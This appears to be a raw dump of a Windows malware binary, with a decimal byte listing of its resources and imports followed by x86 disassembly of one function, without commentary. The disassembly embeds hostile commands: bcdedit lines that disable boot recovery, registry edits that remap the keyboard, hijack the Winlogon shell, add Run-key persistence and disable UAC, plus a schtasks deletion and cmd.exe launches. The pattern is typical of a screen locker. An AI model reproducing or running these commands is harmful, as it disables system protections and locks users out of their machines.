0_114_0_70_0_105_0_108_0_101_0_73_0_110_0_102_0_111_0_0_0_0_0_36_0_4_0_0_0_84_0_114_0_97_0_110_0_115_0_108_0_97_0_116_0_105_0_111_0_110_0_0_0_0_0_9_4_176_4_96_115_0_0_60_63_120_109_108_32_118_101_114_115_105_111_110_61_39_49_46_48_39_32_101_110_99_111_100_105_110_103_61_39_85_84_70_45_56_39_32_115_116_97_110_100_97_108_111_110_101_61_39_121_101_115_39_63_62_13_10_60_97_115_115_101_109_98_108_121_32_120_109_108_110_115_61_39_117_114_110_58_115_99_104_101_109_97_115_45_109_105_99_114_111_115_111_102_116_45_99_111_109_58_97_115_109_46_118_49_39_32_109_97_110_105_102_101_115_116_86_101_114_115_105_111_110_61_39_49_46_48_39_62_13_10_32_32_60_116_114_117_115_116_73_110_102_111_32_120_109_108_110_115_61_34_117_114_110_58_115_99_104_101_109_97_115_45_109_105_99_114_111_115_111_102_116_45_99_111_109_58_97_115_109_46_118_51_34_62_13_10_32_32_32_32_60_115_101_99_117_114_105_116_121_62_13_10_32_32_32_32_32_32_60_114_101_113_117_101_115_116_101_100_80_114_105_118_105_108_101_103_101_115_62_13_10_32_32_32_32_32_32_32_32_60_114_101_113_117_101_115_116_101_100_69_120_101_99_117_116_105_111_110_76_101_118_101_108_32_108_101_118_101_108_61_39_97_115_73_110_118_111_107_101_114_39_32_117_105_65_99_99_101_115_115_61_39_102_97_108_115_101_39_32_47_62_13_10_32_32_32_32_32_32_60_47_114_101_113_117_101_115_116_101_100_80_114_105_118_105_108_101_103_101_115_62_13_10_32_32_32_32_60_47_115_101_99_117_114_105_116_121_62_13_10_32_32_60_47_116_114_117_115_116_73_110_102_111_62_13_10_60_47_97_115_115_101_109_98_108_121_62_13_10_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_184_181_0_0_116_181_0_0_0_0_0_0_0_0_0_0_0_0_0_0_197_181_0_0_144_181_0_0_0_0_0_0_0_0_0_0_0_0_0_0_210_181_0_0_152_181_0_0_0_0_0_0_0_0_0_0_0_0_0_0_222_181_0_0_160_181_0_0_0_0_0_0_0_0_0_0_0_0_0_0_232_181_0_0_168_181_0_0_0_0_0_0_0_0_0_0_0_0_0_0_244_181_0_0_176_181_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_254_181_0_0_12_182_0_0_28_182_0_0_44_182_0_0_58_182_0_0_72_182_0_0_0_0_0_0_86_182_0_0_0_0_0_0_11_0_0_128_0_0_0_0_100_182_0_0_0_0_0_0_110_182_0_0_0_0_0_0_128_182_0_0_0_0_0_0_75_69_82_78_69_76_51_50_46_68_76_76_0_65_68_86_65_80_73_51_50_46_100_108_108_0_67_97_98_105_110_101_116_46_100_108_108_0_110_116_100_108_108_46_100_108_108_0_83_72_69_76
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0x18a3]
push 0x899
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4085eb
sub esp, 8
lea eax, [ebp - 0x1008]
lea ecx, [ebp - 0xd0]
push 0x20
push eax
call fcn.0040b010
mov dword [ebp - 4], 0
cmp dword [ebp - 0x138cc], 0
je 0x408452
lea eax, [ebp - 0x13888]
mov dword [ebp - 0x138c4], 5
mov dword [ebp - 0x138c8], eax
nop word [eax + eax]
push 0
push 0x4350d8
lea ecx, [ebp - 0x138bc]
mov dword [ebp - 0x138a8], 0xf
mov dword [ebp - 0x138ac], 0
mov byte [ebp - 0x138bc], 0
call fcn.0040c940
mov ecx, dword [ebp - 0x138c8]
xor edi, edi
mov esi, ecx
mov byte [ebp - 4], 1
lea edx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x408390
sub esi, edx
je 0x40840d
nop dword [eax + eax]
mov al, byte [ecx + edi]
cmp al, 0x20
je 0x4083c6
cmp al, 0xa
je 0x4083c6
mov byte [ebp - 0x138d0], al
lea ecx, [ebp - 0x138bc]
push dword [ebp - 0x138d0]
push 1
call fcn.0040cae0
jmp 0x408402
cmp dword [ebp - 0x138a8], 0x10
lea eax, [ebp - 0x138bc]
cmovae eax, dword [ebp - 0x138bc]
push eax
call fcn.00419523
add esp, 4
lea ecx, [ebp - 0xd0]
mov dl, al
call fcn.0040f3c0
push 0
push 0x4350d8
lea ecx, [ebp - 0x138bc]
call fcn.0040c940
mov ecx, dword [ebp - 0x138c8]
inc edi
cmp edi, esi
jb 0x4083a0
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x138a8]
cmp eax, 0x10
jb 0x40842f
inc eax
lea ecx, [ebp - 0x138bc]
push eax
push dword [ebp - 0x138bc]
call fcn.0040d920
mov eax, dword [ebp - 0x138c8]
add eax, 0x1da6
sub dword [ebp - 0x138c4], 1
mov dword [ebp - 0x138c8], eax
jne 0x408350
jmp 0x40856d
lea eax, [ebp - 0xa448]
mov dword [ebp - 0x138c4], 5
mov dword [ebp - 0x138c8], eax
nop dword [eax + eax]
push 0
push 0x4350d8
lea ecx, [ebp - 0x138bc]
mov dword [ebp - 0x138a8], 0xf
mov dword [ebp - 0x138ac], 0
mov byte [ebp - 0x138bc], 0
call fcn.0040c940
mov ecx, dword [ebp - 0x138c8]
xor edi, edi
mov esi, ecx
mov byte [ebp - 4], 2
lea edx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x4084b0
sub esi, edx
je 0x40852d
nop dword [eax + eax]
mov al, byte [ecx + edi]
cmp al, 0x20
je 0x4084e6
cmp al, 0xa
je 0x4084e6
mov byte [ebp - 0x138d0], al
lea ecx, [ebp - 0x138bc]
push dword [ebp - 0x138d0]
push 1
call fcn.0040cae0
jmp 0x408522
cmp dword [ebp - 0x138a8], 0x10
lea eax, [ebp - 0x138bc]
cmovae eax, dword [ebp - 0x138bc]
push eax
call fcn.00419523
add esp, 4
lea ecx, [ebp - 0xd0]
mov dl, al
call fcn.0040f3c0
push 0
push 0x4350d8
lea ecx, [ebp - 0x138bc]
call fcn.0040c940
mov ecx, dword [ebp - 0x138c8]
inc edi
cmp edi, esi
jb 0x4084c0
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x138a8]
cmp eax, 0x10
jb 0x40854f
inc eax
lea ecx, [ebp - 0x138bc]
push eax
push dword [ebp - 0x138bc]
call fcn.0040d920
mov eax, dword [ebp - 0x138c8]
add eax, 0x1da6
sub dword [ebp - 0x138c4], 1
mov dword [ebp - 0x138c8], eax
jne 0x408470
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xd4], eax
lea ecx, [ebp - 0xcc]
call fcn.0040b890
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xd4], eax
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0x68], vtable.std::ios_base.0
call fcn.00411d62
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, 0x38
mov dword [ebp - 0x138a0], 0x4350d8
mov esi, str.bcdedit__set_current_bootems_no__n_bcdedit__set_current_advancedoptions_off__n_bcdedit__set_current_optionsedit_off__n_bcdedit__set_current_bootstatuspolicy_IgnoreAllFailures__n_bcdedit__set_current_recoveryenabled_off
mov dword [ebp - 0x1388c], 0
lea edi, [ebp - 0x8b0]
xorps xmm0, xmm0
rep movsd dword es:[edi], dword [esi]
push 0x91
lea eax, [ebp - 0x7cf]
push 0
push eax
movups xmmword [ebp - 0x1389c], xmm0
movsb byte es:[edi], byte [esi]
call fcn.004148f0
mov ecx, 0x47
lea edi, [ebp - 0xb60]
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard_Layout___v__Scancode_Map___t_REG_BINARY__d__00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000___f__reg:64
lea eax, [ebp - 0xda6]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x1a
add esp, 0xc
xorps xmm0, xmm0
movsw word es:[edi], word [esi]
push 0x90
push 0
push eax
movsb byte es:[edi], byte [esi]
mov esi, str.REG_ADD__HKEY_CURRENT_USERControl_PanelAccessibilityStickyKeys___v__Flags___t_REG_SZ__d_506__f__reg:64
movq qword [ebp - 0xa41], xmm0
lea edi, [ebp - 0xe10]
mov dword [ebp - 0xa39], 0
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xa35], 0
movsw word es:[edi], word [esi]
call fcn.004148f0
mov ecx, 0x1b
lea edi, [ebp - 0x530]
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__Shell___t_REG_SZ__d__
lea eax, [ebp - 0x4c3]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
movsb byte es:[edi], byte [esi]
push 0x65
push 0
push eax
call fcn.004148f0
lea edx, [ebp - 0x280]
add esp, 0xc
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4086c0
lea edi, [ebp - 0x530]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4086d0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x530]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4086f0
mov eax, dword [str.___f__reg:64]
lea edi, [ebp - 0x608]
mov dword [ecx], eax
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___v__System___t_REG_SZ__d__
mov eax, dword [0x4474f4]
mov dword [ecx + 4], eax
mov eax, dword [0x4474f8]
mov dword [ecx + 8], eax
mov al, byte [0x4474fc]
mov byte [ecx + 0xc], al
mov ecx, 0x19
rep movsd dword es:[edi], dword [esi]
push 0x6c
lea eax, [ebp - 0x5a2]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.004148f0
lea edx, [ebp - 0x280]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x408748
lea edi, [ebp - 0x608]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408758
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x608]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x408775
mov eax, dword [str.___f__reg:64]
lea edi, [ebp - 0xc38]
mov dword [ecx], eax
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion___v__rgd_bcd_condition___t_REG_SZ__d_1__f__reg:64
mov eax, dword [0x4474f4]
mov dword [ecx + 4], eax
mov eax, dword [0x4474f8]
mov dword [ecx + 8], eax
mov al, byte [0x4474fc]
mov byte [ecx + 0xc], al
mov ecx, 0x1e
push 0x5a
lea eax, [ebp - 0xbc0]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.004148f0
mov ecx, 0x20
lea edi, [ebp - 0xd10]
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__EnableLUA___t_REG_DWORD__d_0__f__reg:64
lea eax, [ebp - 0xc8d]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
movsw word es:[edi], word [esi]
push 0x4f
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.004148f0
mov ecx, 0x1b
mov word [ebp - 0x11c], 0
mov esi, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard_Layout___v__Scancode_Map___f__reg:64
lea edi, [ebp - 0x458]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x21
xorps xmm0, xmm0
add esp, 0xc
movsw word es:[edi], word [esi]
mov esi, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__Shell___t_REG_SZ__d__explorer.exe___f__reg:64
mov dword [ebp - 0x3da], 0
lea edi, [ebp - 0x3d0]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x19
movups xmmword [ebp - 0x3ea], xmm0
movsb byte es:[edi], byte [esi]
mov esi, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___v__System___f__reg:64
movq qword [ebp - 0x33b], xmm0
lea edi, [ebp - 0x330]
mov word [ebp - 0x333], 0
rep movsd dword es:[edi], dword [esi]
movups xmmword [ebp - 0x34b], xmm0
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x138d8]
movq qword [ebp - 0x2bb], xmm0
movups xmmword [ebp - 0x2cb], xmm0
movups xmm0, xmmword [str.schtasks.exe__delete__TN_uac__F]
movups xmmword [ebp - 0x14c], xmm0
movups xmm0, xmmword [0x4477d8]
movups xmmword [ebp - 0x13c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x12c], xmm0
cmp edi, 1
jne 0x408a56
push ecx
lea ecx, [ebp - 0xd0]
call fcn.00409a90
push ecx
push 2
lea eax, [ebp - 0xa30]
mov dword [ebp - 4], 6
push eax
lea ecx, [ebp - 0xcc]
call fcn.0040d0f0
test eax, eax
lea ecx, [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
jne 0x4088ec
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x4088fb
or eax, 4
jmp 0x4088fb
add ecx, eax
mov edx, 4
xor eax, eax
cmp dword [ecx + 0x38], eax
cmove eax, edx
push 0
push eax
call fcn.00402970
lea edx, [ebp - 0x8b0]
lea ecx, [ebp - 0xd0]
call fcn.0040ea80
mov edx, str._ndel__0
lea ecx, [ebp - 0xd0]
call fcn.0040e7c0
cmp dword [ebp - 0x80], 0
lea esi, [ebp - 0xcc]
jne 0x408934
xor esi, esi
jmp 0x408958
lea ecx, [ebp - 0xcc]
call fcn.0040ce30
push dword [ebp - 0x80]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.0041a10e
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0xcc]
call fcn.0040cfa0
test esi, esi
jne 0x408992
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x40898a
or eax, 4
push 0
push eax
call fcn.00402970
lea eax, [ebp - 0x530]
mov dword [ebp - 0x138a0], eax
lea eax, [ebp - 0x608]
mov dword [ebp - 0x1389c], eax
lea eax, [ebp - 0xb60]
mov dword [ebp - 0x13898], eax
lea eax, [ebp - 0xe10]
mov dword [ebp - 0x13894], eax
lea eax, [ebp - 0xc38]
mov dword [ebp - 0x13890], eax
lea eax, [ebp - 0xd10]
mov dword [ebp - 0x1388c], eax
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xd4], eax
lea ecx, [ebp - 0xcc]
call fcn.0040a5e0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xd4], eax
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 9
push eax
mov dword [ebp - 0x68], vtable.std::ios_base.0
call fcn.00411d62
add esp, 4
jmp 0x408c37
cmp edi, 2
jne 0x408c07
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x408ad6
xor ecx, ecx
call fcn.004044d0
cmp eax, edi
jne 0x408d5d
push 0x40
lea eax, [ebp - 0x1391c]
mov dword [ebp - 0x13920], 0x44
push 0
push eax
call fcn.004148f0
add esp, 0xc
mov dword [ebp - 0x138f4], 1
xor eax, eax
mov word [ebp - 0x138f0], ax
lea eax, [ebp - 0x13898]
push eax
lea eax, [ebp - 0x13920]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x738]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x408d5d
mov eax, dword [0x436170]
movq xmm0, qword [str.cmd.exe__c]
push 0x1e8
mov dword [ebp - 0x928], eax
lea eax, [ebp - 0x924]
push 0
push eax
movq qword [ebp - 0x930], xmm0
call fcn.004148f0
lea edx, [ebp - 0x1008]
add esp, 0xc
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x408b10
lea edi, [ebp - 0x930]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408b20
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x930]
dec ecx
cmp dword [ebp - 0x138cc], 0
je 0x408b60
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x408b46
mov eax, dword [str._64]
mov dword [ecx], eax
mov al, byte [0x4477fc]
jmp 0x408b76
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x408b60
mov eax, dword [str._32]
mov dword [ecx], eax
mov al, byte [0x447804]
lea edx, [ebp - 0x280]
mov byte [ecx + 4], al
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x408b81
lea edi, [ebp - 0x930]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408b91
mov ecx, edx
mov dword [ebp - 0x13920], 0x44
shr ecx, 2
lea eax, [ebp - 0x1391c]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x40
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.004148f0
add esp, 0xc
mov dword [ebp - 0x138f4], 1
xor eax, eax
mov word [ebp - 0x138f0], ax
lea eax, [ebp - 0x13898]
push eax
lea eax, [ebp - 0x13920]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x930]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
call fcn.00418793
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x138a0], eax
lea eax, [ebp - 0x458]
mov dword [ebp - 0x1389c], eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x13898], eax
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x13894], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov dword [ebp - 0x138c4], 6
mov dword [ebp - 0x138cc], esi
cmp edi, 1
je 0x408c63
mov dword [ebp - 0x138c4], 4
push 0x40
lea eax, [ebp - 0x1391c]
mov dword [ebp - 0x13920], 0x44
push 0
push eax
call fcn.004148f0
movups xmm0, xmmword [str.C:windows_system32cmd.exe__c]
add esp, 0xc
mov dword [ebp - 0x138f4], 1
xor eax, eax
movups xmmword [ebp - 0x2b0], xmm0
mov word [ebp - 0x138f0], ax
movups xmm0, xmmword [0x447818]
push 0x10c
push eax
lea eax, [ebp - 0x290]
push eax
movups xmmword [ebp - 0x2a0], xmm0
call fcn.004148f0
mov edx, dword [ebp + esi*4 - 0x138a0]
add esp, 0xc
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x408cd0
lea edi, [ebp - 0x2b0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408ce0
mov ecx, edx
lea eax, [ebp - 0x138b4]
shr ecx, 2
push eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x13920]
mov ecx, edx
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x2b0]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x4350d8]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2b1], al
test al, al
jne 0x408d30
mov esi, dword [ebp - 0x138cc]
inc esi
mov dword [ebp - 0x138cc], esi
cmp esi, dword [ebp - 0x138c4]
jl 0x408c63
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret